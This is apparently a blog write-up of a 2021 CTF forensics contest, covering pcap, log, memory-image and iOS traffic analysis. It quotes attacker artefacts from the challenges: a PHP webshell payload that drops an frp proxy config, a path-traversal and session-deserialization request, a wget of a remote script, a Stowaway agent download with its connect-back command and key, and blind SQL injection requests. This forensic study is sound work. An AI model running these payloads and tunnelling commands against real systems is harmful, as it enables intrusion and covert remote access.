

2021陇剑杯部分WP

原创

YYK[17]6 于 2021-09-15 16:36:10 发布 3213 收藏 8

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[运维](#)

6 篇文章 0 订阅

订阅专栏

写在前面的话, 结局排名离谱, 最后两分钟直接掉了70多名, 排出100以外...很久没有打比赛了, 但是也没想到国内的CTF环境已经差到这种地步了, 另外就是题目都挺好, 个别的题目暂时这里不给出解题过程, 见谅

签到

操作内容:

看请求包, http请求返回403

Jwt


操作内容:

1. 看cookie, jwt格式
2. 找个在线解jwt的网站, 将cookie解码, 注意不要解登录失败那个, 解登陆成功的
3. 看流量包。alert ("root")
4. wireshark打开, 包序号103 109这两个包, 将文件都试下
5. 包序号109, 用echo写了个makefile,能看到so的名字
6. 包序号 129, /etc/pam.d/common-auth

Webshell


操作内容:

3.1 追踪tcp流, 第5流得到密码




3.2 黑客修改了一个日志文件, 文件的绝对路径为_____。(请确认绝对路径后再提交)

追踪第31流的tcp流, 然后看http报文, 得到当前绝对路径, 然后拼上这个log的名字




3.3 黑客获取webshell之后，权限是_____。

查看whoami的返回结果，（不过一般猜也能猜到是www-data）




3.4 黑客写入的webshell文件名是_____。

后面访问的1.php即是webshell文件



3.5 黑客上传的代理工具客户端名字是_____。（如有字母请全部使用小写）

查看post内容，urldecode解码后，base64解码键为j680.....的值的内容（根据代码内容，有一个substr，需要去除开头两个字符。）解码得到frpc.ini



URL Decode ⏸ ||

From Base64 ⏸ ||

Alphabet
A-Za-z0-9+/=

Remove non-alphabet chars

From Base64 ⏸ ||

Alphabet
A-Za-z0-9+/=

Remove non-alphabet chars

```

aaa=@ini_set("display_errors","0");@set_time_limit(0);function esenc($out){return $out;};function asoutput(
){$output=@ob_get_contents();@ob_end_clean();echo "28"."#?2";echo @esenc($output);echo
"488"."11#4";@ob_start();try{${fbase64_decode(substr($_POST["js8871901598f"],2))};${c#w_POST["xa5d06e67883a"];}${c#str_
replace("\n","",${c});${c#str_replace("\n","",${c});${buf=""};for($i=0;${i}<strlen($c);${i}+=2)${buf}.urldecode("N".substr($c,$i,
2))};echo(@fwrite(fopen($f,"a"),${buf})^"0");}catch(Exception $e){echo "ERROR://".$e-
>getMessage();};asoutput();die();&js8871301598f#FBL3ZhcI93d3cvaHRtbC9mchBjLmluaQ==&xa5d06e67883a#58636f6d06f6e5d0a7
365727665725f61646472203d203139322e3136382e3233392e3132330a7365727665725f706f7274203d20373737380a746f6865663d58613342
4a6326c356566d4e365a3741386d760a8a58746573745f736f636835500a74797065203d207463700a726565d6f74655f706f7274203d3831313
18a786c7567696e203d20736f636873350a706c7567696e5f75736572203d203048446743136634c514a0a786c7567696e5f706173737764203d
204a544e32373647706a7573655f6566e6372797074696f6e203d20747275650a7573655f636f6d072657373696f6e203d20747275650a
47275650a

```

Output start: 562 time: 3ms
end: 594 length: 1092
length: 32 lines: 1

```

aaa=@ini_set("display_errors", "0");@set_time_limit(0);function esenc($out){return $out;};function asoutput(
){$output=@ob_get_contents();@ob_end_clean();echo "28"."#?2";echo @esenc($output);echo
"488"."11#4";@ob_start();try{${fbase64_decode(substr($_POST["js8871901598f"],2))};${c#w_POST["xa5d06e67883a"];}${c#str_
replace("\n","",${c});${c#str_replace("\n","",${c});${buf=""};for($i=0;${i}<strlen($c);${i}+=2)${buf}.urldecode("N".substr($c,$i,
2))};echo(@fwrite(fopen($f,"a"),${buf})^"0");}catch(Exception $e){echo "ERROR://".$e-
>getMessage();};asoutput();die();&js8871301598f#FBL3ZhcI93d3cvaHRtbC9mchBjLmluaQ==&xa5d06e67883a#58636f6d06f6e5d0a7
365727665725f61646472203d203139322e3136382e3233392e3132330a7365727665725f706f7274203d20373737380a746f6865663d58613342
4a6326c356566d4e365a3741386d760a8a58746573745f736f636835500a74797065203d207463700a726565d6f74655f706f7274203d3831313
18a786c7567696e203d20736f636873350a706c7567696e5f75736572203d203048446743136634c514a0a786c7567696e5f706173737764203d
204a544e32373647706a7573655f6566e6372797074696f6e203d20747275650a7573655f636f6d072657373696f6e203d20747275650a
47275650a

```

CSDN @YYK[17|6]

Recipe 📁 🗑

URL Decode ⏸ ||

From Base64 ⏸ ||

Alphabet
A-Za-z0-9+/=

Remove non-alphabet chars

From Base64 ⏸ ||

Alphabet
A-Za-z0-9+/=

Remove non-alphabet chars

Input

L3ZhcI93d3cvaHRtbC9mchBjLmluaQ==

Output

/var/www/html/frpc.ini

CSDN @YYK[17|6]

3.6 黑客代理工具的回连服务端IP是_____。

3.7 黑客的socks5的连接账号、密码是_____。（中间使用#号隔开，例如admin#passwd）

十六进制解码键为xa5d.....的值，得到所有信息，包括回连IP、回连端口、用户名、密码，代理插件等等

日志分析

操作内容:

1. 看流量www.zip

```
00] "GET /t%2ephp HTTP/1.1" 404 457 "-" "Mozilla/5.0 (Windows NT 6.0; Win64; x64; rv:2.0.1) Gecko/20100101 Firefox/3.0.1"
00] "GET /www%2ezip HTTP/1.1" 200 1686 "-" "Mozilla/5.0 (Windows NT 6.0; Win64; x64; rv:2.0.1) Gecko/20100101 Firefox/3.0.1"
00] "GET /www%2ezip HTTP/1.1" 200 1686 "-" "Mozilla/5.0 (Windows NT 6.0; Win64; x64; rv:2.0.1) Gecko/20100101 Firefox/3.0.1"
00] "GET /www%2erar HTTP/1.1" 404 457 "-" "Mozilla/5.0 (Windows NT 6.0; Win64; x64; rv:2.0.1) Gecko/20100101 Firefox/3.0.1"
00] "GET /www%2etar%2egz HTTP/1.1" 404 457 "-" "Mozilla/5.0 (Windows NT 6.0; Win64; x64; rv:2.0.1) Gecko/20100101 Firefox/3.0.1"
00] "GET /web%2erar HTTP/1.1" 404 457 "-" "Mozilla/5.0 (Windows NT 6.0; Win64; x64; rv:2.0.1) Gecko/20100101 Firefox/3.0.1"
00] "GET /www%2e7z HTTP/1.1" 404 457 "-" "Mozilla/5.0 (Windows NT 6.0; Win64; x64; rv:2.0.1) Gecko/20100101 Firefox/3.0.1"
00] "GET /www%2etar HTTP/1.1" 404 457 "-" "Mozilla/5.0 (Windows NT 6.0; Win64; x64; rv:2.0.1) Gecko/20100101 Firefox/3.0.1"
00] "GET /web%2ezip HTTP/1.1" 404 457 "-" "Mozilla/5.0 (Windows NT 6.0; Win64; x64; rv:2.0.1) Gecko/20100101 Firefox/3.0.1"
00] "GET /web%2ezip HTTP/1.1" 404 457 "-" "Mozilla/5.0 (Windows NT 6.0; Win64; x64; rv:2.0.1) Gecko/20100101 Firefox/3.0.1"
```

2. access.log, 发现了写../../../../../../../../tmp/sess_car字段, 判断文件/tmp/sess_car

3. 读文件使用的类是SplFileObject

```
/?filename=../../../../../../../../tmp/sess_car&content=func%7CN%3Bfiles%7Ca%3A2%3A%7Bs%3A8%3A%22filename%22%3Bs%3A16%3A%22.%2Ffiles%2Ffilename%22%3Bs%3A20%3A%22call_user_func_array%22%3Bs%3A28%3A%22.%2Ffiles%2Fcall_user_func_array%22%3B%7Dpaths%7Ca%3A1%3A%7Bs%3A5%3A%22%2Fflag%22%3Bs%3A13%3A%22SplFileObject%22%3B%7D HTTP/1.1" 302 879 "-" "python-requests/2.26.0"
```

Output	start: 297	time: 1ms	end: 297	length: 297	length: 0	lines: 1
/?filename=../../../../../../../../tmp/sess_car&content=func N;files a:2:{s:8:"filename";s:16:"./files/filename";s:20:"call_user_func_array";s:28:"./files/call_user_func_array";}paths a:1:{s:5:"/flag";s:13:"SplFileObject";} HTTP/1.1" 302 879 "-" "python-requests/2.26.0"						

CSDN @YYK[17|6]

流量分析

操作内容:

分析pcap流量包，主机ip应该是172.18.0.1，可以看到很多UDP协议的包。在看包内容的时候，注意到UDP包头都是P05=，而且有的是有base64，也有乱码的包。P05=后面都是00 00 00 00和01 00 00 00，其中00的长度是32、01的长度是16，可能是认证。

根据长度为16猜测可能是aes，用长度16的base64（即P05=后面是01 00 00 00的）作为aes key解密发现解密成功了，02 00 00 00对应的包里面都有一个可见字符，其中受害IP172.18.0.125有命令：wget http://147.182.251.98/d.sh;所以第一问为127.18.0.125，第二问密钥就是18217号包里的DtX0GScM9dwrqZht，第三问ip即为147.182.251.98（udp.stream eq 85）

Destination Port: 42277
 Length: 60
 Checksum: 0x58f0 [unverified]
 [Checksum Status: Unverified]
 [Stream index: 85]
 [Timestamps]
 [Time since first frame: 0.000055296 seconds]
 [Time since previous frame: 0.000055296 seconds]
 UDP payload (52 bytes)

```

0000 02 42 ac 12 00 7d 02 42 70 b3 33 41 08 00 45 00  ·B··}·B p·3A··E·
0010 00 50 d3 87 40 00 40 11 0e 73 ac 12 00 01 ac 12  ·P·@·@··s······
0020 00 7d 22 b8 a5 25 00 3c 58 f0 50 30 35 3d 10 00  ·}···%·<·X·P05=··
0030 00 00 9d 23 25 61 bb e3 c6 62 20 00 00 00 75 55  ····%a···b···uU
0040 31 76 55 4b 63 53 7a 75 43 63 46 36 6d 79 6c 4e  1vUKcSzu CcF6mylN
0050 70 4e 54 50 6f 50 6e 67 52 50 35 47 37 74      pNTPoPng RP5G7t
  
```

CSDN @YYK[17|6]

Destination Port: 8888
 Length: 60
 Checksum: 0x58f0 [unverified]
 [Checksum Status: Unverified]
 [Stream index: 85]
 [Timestamps]
 [Time since first frame: 0.000079834 seconds]
 [Time since previous frame: 0.000024538 seconds]
 UDP payload (52 bytes)

```

0000 02 42 70 b3 33 41 02 42 ac 12 00 7d 08 00 45 00  ·Bp·3A·B··}··E·
0010 00 50 fc 1e 40 00 40 11 e5 db ac 12 00 7d ac 12  ·P·@·@·····}··
0020 00 01 a5 25 22 b8 00 3c 58 f0 50 30 35 3d 01 00  ····%·<·X·P05=··
0030 00 00 9d 23 25 61 e7 04 4d a9 11 00 00 00 ff 44  ····%a···M·····D
0040 74 58 30 47 53 63 4d 39 64 77 72 67 5a 68 74 00  tX0GScM9 dwrqZht·
0050 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ······
  
```

CSDN @YYK[17|6]

操作内容:

6.1 使用工具volatility (kali自带)

imageinfo指令获取系统信息

```
./volatility -f /root/桌面/Target.vmem imageinfo
Volatility Foundation Volatility Framework 2.6
INFO : volatility.debug : Determining profile based on KDBG search...
      Suggested Profile(s) : Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_23418, Win2008R2SP1x64,
Win7SP1x64_23418
      AS Layer1 : WindowsAMD64PagedMemory (Kernel AS)
      AS Layer2 : FileAddressSpace (/root/桌面/Target.vmem)
      PAE type : No PAE
      DTB : 0x187000L
      KDBG : 0xf8000403c0a0L
      Number of Processors : 1
      Image Type (Service Pack) : 1
      KPCR for CPU 0 : 0xfffff8000403dd00L
      KUSER_SHARED_DATA : 0xfffff78000000000L
      Image date and time : 2021-08-29 09:08:07 UTC+0000
      Image local date and time : 2021-08-29 17:08:07 +0800
```

CSDN @YYK[17|6]

直接使用lsadump指令查看最后登录的用户

```
(root@kali)-[~/桌面/volatility]
# ./volatility -f /root/桌面/Target.vmem --profile=Win7SP1x64 lsadump
Volatility Foundation Volatility Framework 2.6
DefaultPassword
0x00000000 48 00 00 00 00 00 00 00 00 00 00 00 00 00 00 H.....
0x00000010 66 00 6c 00 61 00 67 00 7b 00 57 00 33 00 31 00 f.l.a.g.{.W.3.1.
0x00000020 43 00 30 00 4d 00 33 00 20 00 54 00 30 00 20 00 C.O.M.3...T.O...
0x00000030 54 00 48 00 69 00 53 00 20 00 33 00 34 00 53 00 T.H.i.S...3.4.S.
0x00000040 59 00 20 00 46 00 30 00 52 00 33 00 4e 00 53 00 Y...F.O.R.3.N.S.
0x00000050 69 00 43 00 58 00 7d 00 00 00 00 00 00 00 00 i.C.X.}.....

DPAPI_SYSTEM
0x00000000 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ,.....
0x00000010 01 00 00 00 49 06 16 35 a7 90 b6 2a 53 69 03 27 ...I..5...*Si.'
0x00000020 b9 9a 60 9e 9a 15 90 37 7c cf 1d 3c f1 3f 60 05 ..`....7|..<.?`.
0x00000030 56 c1 59 68 53 9a dc e0 18 b3 55 ef 00 00 00 00 V.YCSDN.@YYK[17|6]
```

得到flag

flag{W31C0M3 T0 THiS 34SY F0R3NSiCX}

6.2

filesan 指令扫描文件

可以把输出内容保存到新文本文件中便于查看



找到HUAWEIP40

```
0x00000007d8c7a30 14 0 R--r-d \Device\HarddiskVolume1\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
0x00000007d8c7d10 4 0 R--r-d \Device\HarddiskVolume1\Users\CTF\Desktop\HUAWEI P40_2021-aa-bb xx.yy.zz.exe
0x00000007d8c8070 16 0 R--rwd \Device\HarddiskVolume1\Windows\System32\dnsapi.dll
```



使用dumpfiles指令提取文件

```
(root@kali)~[~/桌面/volatility]
# ./volatility -f /root/桌面/Target.vmem --profile=Win7SP1x64 dumpfiles -Q 0x00000007d8c7d10 --dump-dir=./
Volatility Foundation Volatility Framework 2.6
ImageSectionObject 0x7d8c7d10 None \Device\HarddiskVolume1\Users\CTF\Desktop\HUAWEI P40_2021-aa-bb xx.yy.zz.exe
DataSectionObject 0x7d8c7d10 None \Device\HarddiskVolume1\Users\CTF\Desktop\HUAWEI P40_2021-aa-bb xx.yy.zz.exe
```

Kali中可以直接从dat文件中解压得到备份数据包文件夹



打开发现为加密文件



查到可以使用华为的数据包解密工具


<https://github.com/RealityNet/kobackupdec>

使用指令 `python3 kobackupdec.py -vvv 密码 加密文件夹 解密存储目录`

根据提示 密码为上题中的flag空格换成_

W31C0M3_T0_THiS_34SY_F0R3NSiCX

即可得到解密后的文件夹（此处为a）



解密文件位于 a\storage\MediaTar\images
打开images0.tar压缩包 得到图片flag

简单日志分析

操作内容:

- 1.2根据流量包
- 3 查看流量请求包的一段base64。编码 解码会发现进行了反弹shell操作

SQL注入

操作内容:

1. 注入语句采用if语句，如果成功返回正常界面，bool盲注
2. 找注数据库，表，字段的语句，取注入每位时的边界值，拼接
3. 找注flag值的语句，取注入每位时的边界值，拼接。

WIFI

操作内容:

暂不放出

ios

操作内容:

- 1.通过查看内部ip192.168.1.8与外部3.128.156.159通信的流量
- 2.wget 发现了使用的工具

```
testiphonex:~ root# ls
Library
Media
key.key
testiphonex:~ root# wget https://github.com/ph4ntonn/Stowaway/releases/download/1.6.2/ios_agent && chmod 755 ios_agent
--2021-08-29 01:52:11-- https://github.com/ph4ntonn/Stowaway/releases/download/1.6.2/ios_agent
Resolving github.com... 13.250.177.223
Connecting to github.com|13.250.177.223|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://github-releases.githubusercontent.com/221836131/b5384fc6-6372-498b-83ac-f475fae3f64b?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAIWNJYAX4CSVEH53A%2F20210828%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20210828T1753217&X-Amz-Expires=300&X-Amz-
```

3.根据使用文档和流量可知密钥为hack4sec

```
..... 270K 0s
3850K ..... 98% 448K 0s
3900K ..... 99% 435K 0s
3950K ..... 100% 433K=11s

2021-08-29 01:53:35 (368 KB/s) - 'ios_agent' saved [4061072/4061072]


testiphonex:~ root# ./ios_agent -c 3.128.156.159:8081 -s hack4sec
2021/08/28 17:53:50 [*] Starting agent node actively.Connecting to 3.128.156.159:8081
```

分组 13541. 55 客户端 分组, 3 服务器 分组, 6 turn(s). 点击选择.

整个对话 (8117 bytes) Show data as ASCII


查找: CSDN @YYK[17|6]

4.一个个数的。。正则提取下就出来了。746558f3-c841-456b-85d7-d6c0f2edabb2




```
1 GET,192.168.1.12,https,/info?=1&co=%2Bcase_when_%2Bselect_hex%2Bsubstr%2Bpassword%2C1%2C1%29%29_from_user%29%3D%
2 ,104
3 GET,192.168.1.12,https,/info?=1&co=%2Bcase_when_%2Bselect_hex%2Bsubstr%2Bpassword%2C1%2C1%29%29_from_user%29%3D%
4 GET,192.168.1.12,https,/info?=1&co=%2Bcase_when_%2Bselect_hex%2Bsubstr%2Bpassword%2C1%2C1%29%29_from_user%29%3D%
5 GET,192.168.1.12,https,/info?=1&co=%2Bcase_when_%2Bselect_hex%2Bsubstr%2Bpassword%2C1%2C1%29%29_from_user%29%3D%
6 GET,192.168.1.12,https,/info?=1&co=%2Bcase_when_%2Bselect_hex%2Bsubstr%2Bpassword%2C1%2C1%29%29_from_user%29%3D%
7 GET,192.168.1.12,https,/info?=1&co=%2Bcase_when_%2Bselect_hex%2Bsubstr%2Bpassword%2C1%2C1%29%29_from_user%29%3D%
8 GET,192.168.1.12,https,/info?=1&co=%2Bcase_when_%2Bselect_hex%2Bsubstr%2Bpassword%2C1%2C1%29%29_from_user%29%3D%
9 GET,192.168.1.12,https,/info?=1&co=%2Bcase_when_%2Bselect_hex%2Bsubstr%2Bpassword%2C1%2C1%29%29_from_user%29%3D%
10 GET,192.168.1.12,https,/info?=1&co=%2Bcase_when_%2Bselect_hex%2Bsubstr%2Bpassword%2C1%2C1%29%29_from_user%29%3D%
11 GET,192.168.1.12,https,/info?=1&co=%2Bcase_when_%2Bselect_hex%2Bsubstr%2Bpassword%2C1%2C1%29%29_from_user%29%3D%
12 GET,192.168.1.12,https,/info?=1&co=%2Bcase_when_%2Bselect_hex%2Bsubstr%2Bpassword%2C1%2C1%29%29_from_user%29%3D%
13 GET,192.168.1.12,https,/info?=1&co=%2Bcase_when_%2Bselect_hex%2Bsubstr%2Bpassword%2C1%2C1%29%29_from_user%29%3D%
14 GET,192.168.1.12,https,/info?=1&co=%2Bcase_when_%2Bselect_hex%2Bsubstr%2Bpassword%2C1%2C1%29%29_from_user%29%3D%
15 GET,192.168.1.12,https,/info?=1&co=%2Bcase_when_%2Bselect_hex%2Bsubstr%2Bpassword%2C2%2C1%29%29_from_user%29%3D%
16 GET,192.168.1.12,https,/info?=1&co=%2Bcase_when_%2Bselect_hex%2Bsubstr%2Bpassword%2C2%2C1%29%29_from_user%29%3D%
17 GET,192.168.1.12,https,/info?=1&co=%2Bcase_when_%2Bselect_hex%2Bsubstr%2Bpassword%2C2%2C1%29%29_from_user%29%3D%
18 GET,192.168.1.12,https,/info?=1&co=%2Bcase_when_%2Bselect_hex%2Bsubstr%2Bpassword%2C2%2C1%29%29_from_user%29%3D%
19 GET,192.168.1.12,https,/info?=1&co=%2Bcase_when_%2Bselect_hex%2Bsubstr%2Bpassword%2C2%2C1%29%29_from_user%29%3D%
20 GET,192.168.1.12,https,/info?=1&co=%2Bcase_when_%2Bselect_hex%2Bsubstr%2Bpassword%2C2%2C1%29%29_from_user%29%3D%
21 GET,192.168.1.12,https,/info?=1&co=%2Bcase_when_%2Bselect_hex%2Bsubstr%2Bpassword%2C2%2C1%29%29_from_user%29%3D%
22 GET,192.168.1.12,https,/info?=1&co=%2Bcase_when_%2Bselect_hex%2Bsubstr%2Bpassword%2C2%2C1%29%29_from_user%29%3D%
23 GET,192.168.1.12,https,/info?=1&co=%2Bcase_when_%2Bselect_hex%2Bsubstr%2Bpassword%2C2%2C1%29%29_from_user%29%3D%
24 GET,192.168.1.12,https,/info?=1&co=%2Bcase_when_%2Bselect_hex%2Bsubstr%2Bpassword%2C3%2C1%29%29_from_user%29%3D%
25 GET,192.168.1.12,https,/info?=1&co=%2Bcase_when_%2Bselect_hex%2Bsubstr%2Bpassword%2C3%2C1%29%29_from_user%29%3D%
26 GET,192.168.1.12,https,/info?=1&co=%2Bcase_when_%2Bselect_hex%2Bsubstr%2Bpassword%2C3%2C1%29%29_from_user%29%3D%
27 GET,192.168.1.12,https,/info?=1&co=%2Bcase_when_%2Bselect_hex%2Bsubstr%2Bpassword%2C3%2C1%29%29_from_user%29%3D%
28 GET,192.168.1.12,https,/info?=1&co=%2Bcase_when_%2Bselect_hex%2Bsubstr%2Bpassword%2C3%2C1%29%29_from_user%29%3D%
29 GET,192.168.1.12,https,/info?=1&co=%2Bcase_when_%2Bselect_hex%2Bsubstr%2Bpassword%2C3%2C1%29%29_from_user%29%3D%
30 GET,192.168.1.12,https,/info?=1&co=%2Bcase_when_%2Bselect_hex%2Bsubstr%2Bpassword%2C3%2C1%29%29_from_user%29%3D%
```

5.在之前看的时候就觉得有些许不对劲，到了第五题发现果然是个疑似扫描的东西,继续往下翻，到这里结束，得出10-499



Time	Source	Destination	Protocol	Length	Info
69242	1370.000000	192.168.1.8	TLSv1..	247	Application Data
69244	1370.000000	192.168.1.8	TCP	66	55716 → 443 [ACK] Seq=115845 Ack=314074 Win=130560 Len=0 TSval=196082497 TSecr=
69251	1371.000000	192.168.1.8	TLSv1..	247	Application Data
69253	1371.000000	192.168.1.8	TCP	66	55716 → 443 [ACK] Seq=116026 Ack=314565 Win=130560 Len=0 TSval=196082800 TSecr=
69257	1371.000000	192.168.1.8	TLSv1..	247	Application Data
69259	1371.000000	192.168.1.8	TCP	66	55716 → 443 [ACK] Seq=116207 Ack=315080 Win=130496 Len=0 TSval=196083112 TSecr=
69263	1371.000000	192.168.1.8	TLSv1..	248	Application Data
69265	1371.000000	192.168.1.8	TCP	66	55716 → 443 [ACK] Seq=116389 Ack=315572 Win=130560 Len=0 TSval=196083420 TSecr=
69271	1371.000000	192.168.1.8	TCP	66	55716 → 443 [FIN, ACK] Seq=116389 Ack=315572 Win=131072 Len=0 TSval=196083708 TSecr=
69275	1371.000000	192.168.1.8	TCP	54	55716 → 443 [RST] Seq=116390 Win=0 Len=0
69277	1371.000000	192.168.1.8	TCP	54	55716 → 443 [RST] Seq=116390 Win=0 Len=0
69884	1516.000000	192.168.1.8	TCP	78	55719 → 10 [SYN] Seq=0 Win=65535 Len=0 MSS=1460 WS=64 TSval=196227822 TSecr=0
69898	1517.000000	192.168.1.8	TCP	78	55720 → 11 [SYN] Seq=0 Win=65535 Len=0 MSS=1460 WS=64 TSval=196228376 TSecr=0
69912	1517.000000	192.168.1.8	TCP	78	55721 → 12 [SYN] Seq=0 Win=65535 Len=0 MSS=1460 WS=64 TSval=196229045 TSecr=0
69926	1518.000000	192.168.1.8	TCP	78	55722 → 13 [SYN] Seq=0 Win=65535 Len=0 MSS=1460 WS=64 TSval=196229672 TSecr=0
69942	1519.000000	192.168.1.8	TCP	78	55723 → 14 [SYN] Seq=0 Win=65535 Len=0 MSS=1460 WS=64 TSval=196230268 TSecr=0
69955	1519.000000	192.168.1.8	TCP	78	55724 → 15 [SYN] Seq=0 Win=65535 Len=0 MSS=1460 WS=64 TSval=196230899 TSecr=0
69968	1520.000000	192.168.1.8	TCP	78	55725 → 16 [SYN] Seq=0 Win=65535 Len=0 MSS=1460 WS=64 TSval=196231494 TSecr=0
69981	1521.000000	192.168.1.8	TCP	78	55726 → 17 [SYN] Seq=0 Win=65535 Len=0 MSS=1460 WS=64 TSval=196232097 TSecr=0
69997	1521.000000	192.168.1.8	TCP	78	55727 → 18 [SYN] Seq=0 Win=65535 Len=0 MSS=1460 WS=64 TSval=196232652 TSecr=0
70009	1522.000000	192.168.1.8	TCP	78	55728 → 19 [SYN] Seq=0 Win=65535 Len=0 MSS=1460 WS=64 TSval=196233313 TSecr=0
70022	1522.000000	192.168.1.8	TCP	78	55729 → 20 [SYN] Seq=0 Win=65535 Len=0 MSS=1460 WS=64 TSval=196233927 TSecr=0
70034	1523.000000	192.168.1.8	TCP	78	55730 → 21 [SYN] Seq=0 Win=65535 Len=0 MSS=1460 WS=64 TSval=196234534 TSecr=0
70047	1524.000000	192.168.1.8	TCP	78	55731 → 22 [SYN] Seq=0 Win=65535 Len=0 MSS=1460 WS=64 TSval=196235171 TSecr=0
70060	1524.000000	192.168.1.8	TCP	78	55732 → 23 [SYN] Seq=0 Win=65535 Len=0 MSS=1460 WS=64 TSval=196235849 TSecr=0
70074	1525.000000	192.168.1.8	TCP	78	55733 → 24 [SYN] Seq=0 Win=65535 Len=0 MSS=1460 WS=64 TSval=196236365 TSecr=0



80260	1843.000000	192.168.1.8	TCP	78	56199 → 489 [SYN] Seq=0 Win=65535 Len=0 MSS=1460 WS=64 TSva
80273	1844.000000	192.168.1.8	TCP	78	56200 → 490 [SYN] Seq=0 Win=65535 Len=0 MSS=1460 WS=64 TSva
80286	1844.000000	192.168.1.8	TCP	78	56201 → 491 [SYN] Seq=0 Win=65535 Len=0 MSS=1460 WS=64 TSva
80298	1845.000000	192.168.1.8	TCP	78	56202 → 492 [SYN] Seq=0 Win=65535 Len=0 MSS=1460 WS=64 TSva
80309	1846.000000	192.168.1.8	TCP	78	56203 → 493 [SYN] Seq=0 Win=65535 Len=0 MSS=1460 WS=64 TSva
80323	1846.000000	192.168.1.8	TCP	78	56204 → 494 [SYN] Seq=0 Win=65535 Len=0 MSS=1460 WS=64 TSva
80337	1847.000000	192.168.1.8	TCP	78	56205 → 495 [SYN] Seq=0 Win=65535 Len=0 MSS=1460 WS=64 TSva
80349	1848.000000	192.168.1.8	TCP	78	56206 → 496 [SYN] Seq=0 Win=65535 Len=0 MSS=1460 WS=64 TSva
80362	1848.000000	192.168.1.8	TCP	78	56207 → 497 [SYN] Seq=0 Win=65535 Len=0 MSS=1460 WS=64 TSva
80374	1849.000000	192.168.1.8	TCP	78	56208 → 498 [SYN] Seq=0 Win=65535 Len=0 MSS=1460 WS=64 TSva
80388	1849.000000	192.168.1.8	TCP	78	56209 → 499 [SYN] Seq=0 Win=65535 Len=0 MSS=1460 WS=64 TSva
80399	1850.000000	192.168.1.8	TCP	66	55845 → 135 [FIN, ACK] Seq=244 Ack=1 Win=131712 Len=0 TSval=
80400	1850.000000	192.168.1.8	TCP	66	56153 → 443 [FIN, ACK] Seq=419 Ack=16694 Win=131072 Len=0 T
80405	1850.000000	192.168.1.8	TCP	66	55845 → 135 [ACK] Seq=245 Ack=2 Win=131712 Len=0 TSval=1965
80408	1850.000000	192.168.1.8	TCP	54	56153 → 443 [RST] Seq=420 Win=0 Len=0
80410	1850.000000	192.168.1.8	TCP	54	56153 → 443 [RST] Seq=420 Win=0 Len=0
80905	2003.000000	192.168.1.8	TCP	78	56212 → 2222 [SYN] Seq=0 Win=65535 Len=0 MSS=1460 WS=64 TS

6.暂不公布

7.查看ip192.168.1.8对内网的异常流量可以发现。

8.查看log文件，小马的参数即是密码

机密内存

操作内容：

暂不公布